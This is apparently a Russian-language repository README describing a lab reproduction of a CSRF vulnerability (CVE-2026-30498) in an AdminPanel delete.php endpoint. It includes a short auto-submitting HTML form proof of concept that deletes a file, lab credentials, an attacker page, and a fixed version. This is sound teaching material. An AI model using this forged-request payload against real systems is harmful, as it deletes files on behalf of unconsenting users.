mehdi-ben-hamou/cve-2026-30498Образовательная демонстрация уязвимости CSRF в контролируемой лабораторной среде, включающая proof-of-concept эксплойт и исправленную версию с надлежащими механизмами защиты от CSRF.
ID CVE: CVE-2026-30498 (Зарезервирован MITRE)
Автор обнаружения: Мехди Бен Хаму
Уязвимость Межсайтовой подделки запроса (CSRF) существует в конечной точке delete.php в AdminPanel 4.0.
Эта уязвимость позволяет злоумышленнику инициировать конфиденциальные действия (удаление файлов) от имени аутентифицированного пользователя без его согласия.
Уязвимость вызвана отсутствием механизмов защиты CSRF:
Уязвимая конечная точка обрабатывает запросы напрямую на основе пользовательской сессии без проверки источника запроса.
Успешная эксплуатация приводит к:
verifyPanel.phpЗлоумышленник размещает вредоносную веб-страницу, которая отправляет поддельный запрос:
http://localhost:8080/delete.php?file=verifyPanel.php
Когда жертва (аутентифицированный пользователь) посещает эту страницу, браузер автоматически включает сессионные cookie, и запрос выполняется.
<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
<input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
Этот запрос автоматически отправляется с сессионным cookie жертвы.
php -S localhost:8080
http://localhost:8080
admin / admin123
http://localhost:8081/evil.html
/panel/dashboard.php
Этот репозиторий включает контролируемую лабораторную среду для безопасного воспроизведения уязвимости.
Важно: Эта лаборатория является симуляцией и не представляет собой точную оригинальную кодовую базу AdminPanel.
Для сброса среды:
/reset.php
Безопасная версия реализована в:
delete_fixed.php
Добавленные меры защиты:
victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
└── dashboard.php
attacker/
└── evil.html
Этот проект предназначен только для образовательных и исследовательских целей.
Не используйте эту уязвимость на системах без соответствующего разрешения.